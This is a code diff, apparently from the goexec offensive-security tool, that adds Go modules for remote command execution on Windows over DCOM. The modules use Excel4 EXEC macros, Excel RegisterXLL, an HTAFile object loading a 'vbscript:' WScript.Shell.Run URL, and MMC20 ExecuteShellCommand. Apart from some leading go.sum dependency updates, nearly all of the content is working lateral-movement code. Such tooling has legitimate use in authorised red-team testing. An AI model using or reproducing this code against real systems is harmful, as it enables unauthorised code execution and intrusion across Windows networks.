github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo=
github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0=
github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/pflag v1.0.7 h1:vN6T9TfwStFPFM5XzjsvmzZkLuaLX+HS+0SeFLRgU6M=
github.com/spf13/pflag v1.0.7/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/cobra v1.10.1 h1:lJeBwCfmrnXthfAupyUTzJ/J4Nc1RsHC/mSRU2dll/s=
github.com/spf13/cobra v1.10.1/go.mod h1:7SmJGaTHFVBY0jW4NXGluQoLvhqFQM+6XSKD+P4XaB0=
github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
@@ -73,8 +73,8 @@ github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5t
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
golang.org/x/crypto v0.41.0 h1:WKYxWedPGCTVVl5+WHSSrOBT0O8lx32+zxmHxijgXp4=
golang.org/x/crypto v0.41.0/go.mod h1:pO5AFd7FA68rFak7rOAGVuygIISepHftHnr8dr6+sUc=
golang.org/x/crypto v0.42.0 h1:chiH31gIWm57EkTXpwnqf8qeuMUi0yekh6mT2AvFlqI=
golang.org/x/crypto v0.42.0/go.mod h1:4+rDnOTJhQCx2q7/j6rAN5XDw8kPjeaXEUR2eL94ix8=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
@@ -82,8 +82,8 @@ golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE=
golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg=
golang.org/x/net v0.44.0 h1:evd8IRDyfNBMBTTY5XRF1vaZlD+EmWx6x8PkhR04H/I=
golang.org/x/net v0.44.0/go.mod h1:ECOoLqd5U3Lhyeyo/QDCEVQ4sNgYsqvCZ722XogGieY=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -95,19 +95,19 @@ golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=
golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
golang.org/x/sys v0.36.0 h1:KVRy2GtZBrk1cBYA7MKu5bEZFxQk4NIDV6RLVcC8o0k=
golang.org/x/sys v0.36.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.34.0 h1:O/2T7POpk0ZZ7MAzMeWFSg6S5IpWd/RXDlM9hgM3DR4=
golang.org/x/term v0.34.0/go.mod h1:5jC53AEywhIVebHgPVeg0mj8OD3VO9OzclacVrqpaAw=
golang.org/x/term v0.35.0 h1:bZBVKBudEyhRcajGcNc3jIfWPqV4y/Kt2XcoigOWtDQ=
golang.org/x/term v0.35.0/go.mod h1:TPGtkTLesOwf2DE8CgVYiZinHAOuy5AYUYT1lENIZnA=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng=
golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU=
golang.org/x/text v0.29.0 h1:1neNs90w9YzJ9BocxfsQNHKuAT4pkghyXc4nhZ6sJvk=
golang.org/x/text v0.29.0/go.mod h1:7MhJOA9CD2qZyOKYazxdYMF85OwPdEr9jTtBpO7ydH4=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
+9 -1
View File
@@ -1,10 +1,11 @@
package util
import (
"github.com/google/uuid"
"math/rand" // not crypto secure
"regexp"
"strings"
"github.com/google/uuid"
)
const randHostnameCharset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-"
@@ -24,6 +25,13 @@ func RandomHostname() (hostname string) {
}
}
func Truncate(s string, n int) string {
if len(s) <= n {
return s
}
return s[:n] + "..."
}
func RandomWindowsTempFile() string {
return `\Windows\Temp\` + strings.ToUpper(uuid.New().String())
}
+101
View File
@@ -0,0 +1,101 @@
package dcomexec
import (
"context"
"fmt"
"github.com/oiweiwei/go-msrpc/dcerpc"
"github.com/oiweiwei/go-msrpc/midl/uuid"
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/iactivation/v0"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0"
"github.com/oiweiwei/go-msrpc/msrpc/dtyp"
"github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
)
const (
OptRemoteCreateInstance = "RemoteCreateInstance"
OptRemoteActivation = "RemoteActivation"
)
// remoteCreateInstance creates a new instance of a COM class on a remote machine using RemoteCreateInstance (opnum 4).
func (m *Dcom) remoteCreateInstance(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) {
if cls == nil {
return nil, fmt.Errorf("class ID is nil")
}
ap := &dcom.ActivationProperties{
DestinationContext: 2,
Properties: []dcom.ActivationProperty{
&dcom.InstantiationInfoData{
ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(cls)),
IID: []*dcom.IID{iid},
ClientCOMVersion: m.comVersion,
},
&dcom.ActivationContextInfoData{},
&dcom.LocationInfoData{},
&dcom.SCMRequestInfoData{
RemoteRequest: &dcom.CustomRemoteRequestSCMInfo{
RequestedProtocolSequences: []uint16{7, 15}, // ncacn_ip_tcp, ncacn_np
},
},
},
}
apin, err := ap.ActivationPropertiesIn()
if err != nil {
return nil, err
}
act, err := iremotescmactivator.NewRemoteSCMActivatorClient(ctx, conn)
if err != nil {
return nil, err
}
cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{
ORPCThis: &dcom.ORPCThis{Version: m.comVersion},
ActPropertiesIn: apin,
})
if err != nil {
return nil, err
}
apout := new(dcom.ActivationProperties)
if err = apout.Parse(cr.ActPropertiesOut); err != nil {
return nil, err
}
if si := apout.SCMReplyInfoData(); si != nil {
opts = append(opts, normalizeStringBindings(si.RemoteReply.OXIDBindings.GetStringBindings())...)
} else {
return nil, fmt.Errorf("remote create instance response: SCMReplyInfoData is nil")
}
if pi := apout.PropertiesOutInfo(); pi != nil && pi.InterfaceData != nil && len(pi.InterfaceData) > 0 {
opts = append(opts, dcom.WithIPID(pi.InterfaceData[0].GetStandardObjectReference().Std.IPID))
} else {
return nil, fmt.Errorf("remote create instance response: PropertiesOutInfo is nil")
}
return opts, err
}
// remoteActivation activates a COM class on a remote machine using RemoteActivation (opnum 0).
func (m *Dcom) remoteActivation(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) {
if cls == nil {
return nil, fmt.Errorf("class ID is nil")
}
ac, err := iactivation.NewActivationClient(ctx, conn)
if err != nil {
return nil, fmt.Errorf("init activation client: %w", err)
}
act, err := ac.RemoteActivation(ctx, &iactivation.RemoteActivationRequest{
ORPCThis: &dcom.ORPCThis{Version: m.comVersion},
ClassID: dtyp.GUIDFromUUID(cls),
IIDs: []*dcom.IID{iid},
RequestedProtocolSequences: []uint16{7, 15}, // ncacn_ip_tcp, ncacn_np
})
if err != nil {
return nil, fmt.Errorf("remote activation: %w", err)
}
if act.HResult != 0 {
return nil, hresult.FromCode(uint32(act.HResult))
}
return append(normalizeStringBindings(act.OXIDBindings.GetStringBindings()),
dcom.WithIPID(act.InterfaceData[0].GetStandardObjectReference().Std.IPID)), nil
}
+59
View File
@@ -0,0 +1,59 @@
package dcomexec
import (
"context"
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
)
type contextKey string
const (
// contextKeyComVersion (dcom.COMVersion) carries the effective COM version
contextKeyComVersion contextKey = "ComVersion"
contextDefaultComVersionMajor uint16 = 5
contextDefaultComVersionMinor uint16 = 7
// contextKeyGetComVersion (bool) determines whether to call getComVersion (ServerAlive2) to determine the COM version.
// If this is false, defaultComVersionMajor, contextDefaultComVersionMinor will be used.
contextKeyGetComVersion contextKey = "GetComVersion"
contextDefaultGetComVersion = true
contextKeyCreateInstanceMethod contextKey = "CreateInstanceMethod"
contextDefaultCreateInstanceMethod = OptRemoteCreateInstance
)
func contextGetComVersion(ctx context.Context) bool {
if v := ctx.Value(contextKeyGetComVersion); v != nil {
if g, ok := v.(bool); ok {
return g
}
}
return contextDefaultGetComVersion
}
// contextComVersion will return the effective COM version (*dcom.COMVersion) from a context.
// If no COM Version is set and GetComVersion is true, nil is returned
func contextComVersion(ctx context.Context) *dcom.COMVersion {
if v := ctx.Value(contextKeyComVersion); v != nil {
if g, ok := v.(dcom.COMVersion); ok {
return &g
}
}
if !contextGetComVersion(ctx) {
return &dcom.COMVersion{
MajorVersion: contextDefaultComVersionMajor,
MinorVersion: contextDefaultComVersionMinor,
}
}
return nil
}
func contextCreateInstanceMethod(ctx context.Context) string {
if v := ctx.Value(contextKeyCreateInstanceMethod); v != nil {
if g, ok := v.(string); ok {
return g
}
}
return contextDefaultCreateInstanceMethod
}
-34
View File
@@ -1,34 +0,0 @@
package dcomexec
import (
googleUUID "github.com/google/uuid"
"github.com/oiweiwei/go-msrpc/midl/uuid"
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
"github.com/oiweiwei/go-msrpc/msrpc/dtyp"
)
const (
LcEnglishUs uint32 = 0x409
)
var (
ShellBrowserWindowUuid = uuid.MustParse("C08AFD90-F2A1-11D1-8455-00A0C91F3880")
ShellWindowsUuid = uuid.MustParse("9BA05972-F6A8-11CF-A442-00A0C90A8F39")
Mmc20Uuid = uuid.MustParse("49B2791A-B1AE-4C90-9B8E-E860BA07F889")
RandCid = dcom.CID(*dtyp.GUIDFromUUID(uuid.MustParse(googleUUID.NewString())))
IDispatchIID = &dcom.IID{
Data1: 0x20400,
Data2: 0x0,
Data3: 0x0,
Data4: []byte{0xc0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x46},
}
ComVersion = &dcom.COMVersion{
MajorVersion: 5,
MinorVersion: 7,
}
ORPCThis = &dcom.ORPCThis{
Version: ComVersion,
CID: &RandCid,
}
)
+95
View File
@@ -0,0 +1,95 @@
package dcomexec
import (
"context"
"fmt"
"strings"
"github.com/oiweiwei/go-msrpc/dcerpc"
"github.com/oiweiwei/go-msrpc/midl/uuid"
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
)
const (
LcEnglishUs uint32 = 0x409
)
// Dispatch represents a DCOM IDispatch client
type Dispatch struct {
Dcom
dispatch idispatch.DispatchClient
}
// getDispatch will create an IDispatch instance of the provided class
func (m *Dispatch) getDispatch(ctx context.Context, cls *uuid.UUID) error {
opts, err := m.bindInstance(ctx, cls, idispatch.DispatchIID)
if err != nil {
return err
}
m.dispatch, err = idispatch.NewDispatchClient(ctx, m.Client.Dce(), opts...) // Might need those dcerpc.Options?
if err != nil {
return fmt.Errorf("init IDispatch client: %w", err)
}
return nil
}
// callComMethod calls a COM method on a remote object using the IDispatch interface.
//
// The method is specified as a dot-separated string, e.g. "ShellWindows.Item" to call the Item method on the ShellWindows object.
//
// The method arguments are passed as *oaut.Variant.
//
// The method returns an *idispatch.InvokeResponse, which contains the result of the method call.
//
// The method will automatically follow the IDispatch interface to get the object specified in the method name, e.g. "ShellWindows.Item" will
// automatically call "ShellWindows.Item.QueryInterface" to get the IDispatch interface of the object, then call "Item.Invoke" to call the method.
func (m *Dispatch) callComMethod(ctx context.Context, id *dcom.IPID, method string, args ...*oaut.Variant) (ir *idispatch.InvokeResponse, err error) {
parts := strings.Split(method, ".")
for i, obj := range parts {
var opts []dcerpc.CallOption
if id != nil {
opts = append(opts, dcom.WithIPID(id))
}
gr, err := m.dispatch.GetIDsOfNames(ctx, &idispatch.GetIDsOfNamesRequest{
This: &dcom.ORPCThis{Version: m.comVersion},
IID: &dcom.IID{},
LocaleID: LcEnglishUs,
Names: []string{obj},
}, opts...)
if err != nil {
return nil, fmt.Errorf("call %q: get dispatch ID of name %q: %w", method, obj, err)
}
if len(gr.DispatchID) < 1 {
return nil, fmt.Errorf("call %q: dispatch ID of name %q not found", method, obj)
}
irq := &idispatch.InvokeRequest{
This: &dcom.ORPCThis{Version: m.comVersion},
IID: &dcom.IID{},
LocaleID: LcEnglishUs,
DispatchIDMember: gr.DispatchID[0],
}
if i >= len(parts)-1 {
irq.Flags = 1
irq.DispatchParams = &oaut.DispatchParams{Args: args}
return m.dispatch.Invoke(ctx, irq, opts...)
}
irq.Flags = 2
ir, err = m.dispatch.Invoke(ctx, irq, opts...)
if err != nil {
return nil, fmt.Errorf("call %q: get properties of object %q: %w", method, obj, err)
}
di, ok := ir.VarResult.VarUnion.GetValue().(*oaut.Dispatch)
if !ok {
return nil, fmt.Errorf("call %q: invalid dispatch object for %q", method, obj)
}
id = di.InterfacePointer().GetStandardObjectReference().Std.IPID
}
return
}
+120
View File
@@ -0,0 +1,120 @@
package dcomexec
import (
"context"
"errors"
"fmt"
"strings"
"syscall"
"github.com/FalconOpsLLC/goexec/internal/util"
"github.com/FalconOpsLLC/goexec/pkg/goexec"
"github.com/oiweiwei/go-msrpc/midl/uuid"
"github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
"github.com/rs/zerolog"
)
const (
MethodExcelMacro = "Excel:ExecuteExcel4Macro"
MethodExcelXLL = "Excel:RegisterXLL"
ExcelApplicationUuid = "00020812-0000-0000-C000-000000000046"
)
type DcomExcel struct {
Dispatch
}
type DcomExcelMacro struct {
DcomExcel
Macros []string
MacroFile string
NoTerminate bool
}
type DcomExcelXll struct {
DcomExcel
XllLocation string
NoTerminate bool
}
// Init will initialize the ShellBrowserWindow instance
func (m *DcomExcel) Init(ctx context.Context) (err error) {
if err = m.Dcom.Init(ctx); err == nil {
return m.getDispatch(ctx, uuid.MustParse(ExcelApplicationUuid))
}
return
}
// quit will terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()")
func (m *DcomExcel) quit(ctx context.Context) (err error) {
log := zerolog.Ctx(ctx)
quit := "QUIT()"
log.Info().
Str("call", "ExecuteExcel4Macro").
Str("macro", quit).
Msg("terminating Excel process")
qr, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(quit))
_ = qr
if err != nil {
if errors.Is(err, syscall.ECONNRESET) {
log.Info().Msg("Excel process terminated")
return nil
}
log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s") failed`, quit)
}
if qr.Return != 0 {
err = hresult.FromCode(uint32(qr.Return))
log.Warn().Err(err).Msgf(`Call ExecuteExcel4Macro("%s"): %d`, quit, qr.Return)
}
return err
}
func (m *DcomExcelMacro) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
log := zerolog.Ctx(ctx)
if len(m.Macros) == 0 {
m.Macros = []string{fmt.Sprintf(`EXEC("%s")`, strings.ReplaceAll(execIO.String(), `"`, `""`))}
}
if !m.NoTerminate { // Terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()")
defer func() {
_ = m.quit(ctx)
}()
}
for _, macro := range m.Macros {
// Call ExecuteExcel4Macro to execute macro
log.Info().
Str("call", "ExecuteExcel4Macro").
Str("macro", util.Truncate(macro, 100)).
Msg("executing Excel macro")
ir, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(macro))
if err != nil {
return err
}
if ir.Return != 0 {
return hresult.FromCode(uint32(ir.Return))
}
log.Info().Msg("ExecuteExcel4Macro call successful")
}
return
}
func (m *DcomExcelXll) Call(ctx context.Context) (err error) {
log := zerolog.Ctx(ctx)
if !m.NoTerminate {
defer func() {
_ = m.quit(ctx)
}()
}
qr, err := m.callComMethod(ctx, nil, "Application.RegisterXLL", stringToVariant(m.XllLocation))
if err != nil {
return fmt.Errorf("call RegisterXLL: %w", err)
}
log.Info().Msg("RegisterXLL call successful")
if stat, ok := qr.VarResult.VarUnion.GetValue().(bool); ok && stat {
log.Info().Bool("res", stat).Int32("return", qr.Return).Msg("XLL registered successfully")
} else {
log.Warn().Bool("res", stat).Int32("return", qr.Return).Msg("Execution may have failed")
}
return
}
+166
View File
@@ -0,0 +1,166 @@
package dcomexec
import (
"context"
"encoding/binary"
"fmt"
"strings"
"github.com/FalconOpsLLC/goexec/pkg/goexec"
"github.com/oiweiwei/go-msrpc/midl/uuid"
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon/imoniker/v0"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon/ipersistmoniker/v0"
"github.com/oiweiwei/go-msrpc/msrpc/dtyp"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
"github.com/oiweiwei/go-msrpc/ndr"
"github.com/oiweiwei/go-msrpc/text/encoding/utf16le"
"github.com/rs/zerolog"
)
const (
MethodHtafile = "HTAFile"
HtafileUuid = "3050F4D8-98B5-11CF-BB82-00AA00BDCE0B"
serialUuid = "F4815879-1D3B-487F-AF2C-825DC4852763"
urlMonikerUuid = "79EAC9E0-BAF9-11CE-8C82-00AA004BA90B"
)
const ( // See https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-oshared/1786df8e-b792-4a28-b7c5-4d9a91d2e401
UriCreateAllowRelative uint32 = 0x00000001
UriCreateAllowImplicitWildcardScheme uint32 = 0x00000002
UriCreateAllowImplicitFileScheme uint32 = 0x00000004
UriCreateNoFrag uint32 = 0x00000008
UriCreateNoCanonicalize uint32 = 0x00000010
UriCreateFileUseDosPath uint32 = 0x00000020
UriCreateDecodeExtraInfo uint32 = 0x00000040
UriCreateNoDecodeExtraInfo uint32 = 0x00000080
UriCreateCanonicalize uint32 = 0x00000100
UriCreateCrackUnknownSchemes uint32 = 0x00000200
UriCreateNoCrackUnknownSchemes uint32 = 0x00000400
UriCreatePreProcessHTMLURI uint32 = 0x00000800
UriCreateNoPreProcessHTMLURI uint32 = 0x00001000
UriCreateIESettings uint32 = 0x00002000
UriCreateNoIESettings uint32 = 0x00004000
UriCreateNoEncodeForbiddenChars uint32 = 0x00008000
UriCreateNormalizeIntlChars uint32 = 0x00010000
)
type DcomHtafile struct {
Dcom
Url string
Vbscript string
Javascript string
ipm ipersistmoniker.PersistMonikerClient
}
// Init will initialize the ShellBrowserWindow instance
func (m *DcomHtafile) Init(ctx context.Context) (err error) {
if err = m.Dcom.Init(ctx); err != nil {
return err
}
opts, err := m.bindInstance(ctx, uuid.MustParse(HtafileUuid), ipersistmoniker.PersistMonikerIID)
if err != nil {
return fmt.Errorf("bind htafile instance: %w", err)
}
if m.ipm, err = ipersistmoniker.NewPersistMonikerClient(ctx, m.Client.Dce(), opts...); err != nil {
return fmt.Errorf("init IPersistMoniker client: %w", err)
}
return
}
func (m *DcomHtafile) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
log := zerolog.Ctx(ctx)
mon, err := getUrlMoniker(m.Url, 0)
if err != nil {
return fmt.Errorf("create url moniker structure: %w", err)
}
log.Info().Str("URL", m.Url).Msg("Loading URL moniker")
lrs, err := m.ipm.Load(ctx, &ipersistmoniker.LoadRequest{
This: &dcom.ORPCThis{Version: m.comVersion},
Name: mon,
})
if err != nil {
return fmt.Errorf("IPersistMoniker.Load: %w", err)
}
if lrs.Return == 0 {
log.Info().Msg("Load call successful")
} else {
log.Warn().Msgf("Load call returned %d", lrs.Return)
}
_ = lrs
return
}
type URLMoniker struct {
URL string
HasExtras bool // whether to include trailer with SerialGUID/SerialVersion/URIFlags on marshal
SerialVersion uint32 // should be 0 when HasExtras; preserved on unmarshal
URIFlags uint32 // the URICreateFlags bitmask (meaning per CreateUri)
}
// MarshalBinary implements encoding.BinaryMarshaler.
func (m URLMoniker) MarshalBinary() ([]byte, error) {
// UTF-16LE encode URL + terminating NUL.
urlBytes, err := utf16le.Encode(m.URL + "\x00")
if err != nil {
return nil, err
}
var out []byte
if m.HasExtras {
out = make([]byte, 4+len(urlBytes)+16+4+4)
copy(out[4+len(urlBytes):], uuid.MustParse(serialUuid).EncodeBinary())
binary.LittleEndian.PutUint32(out[4+len(urlBytes)+16:], m.SerialVersion)
binary.LittleEndian.PutUint32(out[4+len(urlBytes)+16+4:], m.URIFlags)
} else {
out = make([]byte, 4+len(urlBytes))
}
binary.LittleEndian.PutUint32(out, uint32(len(out)-4))
copy(out[4:], urlBytes)
return out, nil
}
func getUrlMoniker(url string, flags uint32) (*urlmon.Moniker, error) {
blob, err := URLMoniker{URL: url, HasExtras: true, URIFlags: flags}.MarshalBinary()
if err != nil {
return nil, err
}
objRef := &dcom.ObjectReference{
Signature: ([]byte)(dcom.ObjectReferenceCustomSignature),
Flags: dcom.ObjectReferenceTypeCustom,
IID: imoniker.MonikerIID,
ObjectReference: &dcom.ObjectReference_ObjectReference{
Value: &dcom.ObjectReference_Custom{
Custom: &dcom.ObjectReferenceCustom{
ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(uuid.MustParse(urlMonikerUuid))),
ObjectData: blob,
},
},
},
}
dat, err := ndr.Marshal(objRef, ndr.Opaque)
if err != nil {
return nil, err
}
return &urlmon.Moniker{Data: dat}, nil
}
func HtafileGetUrl(url, jscript, vbscript string, execIO *goexec.ExecutionIO) string {
switch {
case url != "":
case vbscript != "":
return "vbscript:" + vbscript
case jscript != "":
return "javascript:" + jscript
case execIO != nil:
return getVbscriptCmdExecUrl(execIO.String())
}
return url
}
func getVbscriptCmdExecUrl(cmd string) string {
return fmt.Sprintf(`vbscript:Close(CreateObject("WScript.Shell").Run("%s"))`, strings.ReplaceAll(cmd, `"`, `""`))
}
+21 -21
View File
@@ -3,48 +3,48 @@ package dcomexec
import (
"context"
"fmt"
"github.com/FalconOpsLLC/goexec/pkg/goexec"
"github.com/oiweiwei/go-msrpc/midl/uuid"
"github.com/rs/zerolog"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
)
const (
MethodMmc = "MMC" // MMC20.Application::Document.ActiveView.ExecuteShellCommand
MethodMmc = "MMC20.Application" // MMC20.Application::Document.ActiveView.ExecuteShellCommand
MmcUuid = "49B2791A-B1AE-4C90-9B8E-E860BA07F889"
)
type DcomMmc struct {
Dcom
IO goexec.ExecutionIO
Dispatch
WorkingDirectory string
WindowState string
}
// Init will initialize the ShellBrowserWindow instance
func (m *DcomMmc) Init(ctx context.Context) (err error) {
if err = m.Dcom.Init(ctx); err == nil {
return m.getDispatch(ctx, uuid.MustParse(MmcUuid))
}
return
}
// Execute will perform command execution via the MMC20.Application DCOM object.
func (m *DcomMmc) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
log := zerolog.Ctx(ctx).With().
Str("module", ModuleName).
Str("method", MethodMmc).
Logger()
method := "Document.ActiveView.ExecuteShellCommand"
log := zerolog.Ctx(ctx).With().Str("method", method).Logger()
cmdline := execIO.CommandLine()
proc := cmdline[0]
args := cmdline[1]
// Arguments must be passed in reverse order
if _, err := callComMethod(ctx,
m.dispatchClient,
nil,
method,
if _, err := m.callComMethod(ctx, nil, method,
stringToVariant(m.WindowState),
stringToVariant(args),
stringToVariant(cmdline[1]),
stringToVariant(m.WorkingDirectory),
stringToVariant(proc)); err != nil {
stringToVariant(cmdline[0])); err != nil {
log.Error().Err(err).Msg("Failed to call method")
return fmt.Errorf("call %q: %w", method, err)
}
log.Info().Msg("Method call successful")
+21 -109
View File
@@ -2,18 +2,15 @@ package dcomexec
import (
"context"
"errors"
"fmt"
"github.com/FalconOpsLLC/goexec/pkg/goexec"
"github.com/FalconOpsLLC/goexec/pkg/goexec/dce"
"github.com/oiweiwei/go-msrpc/dcerpc"
"github.com/oiweiwei/go-msrpc/midl/uuid"
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0"
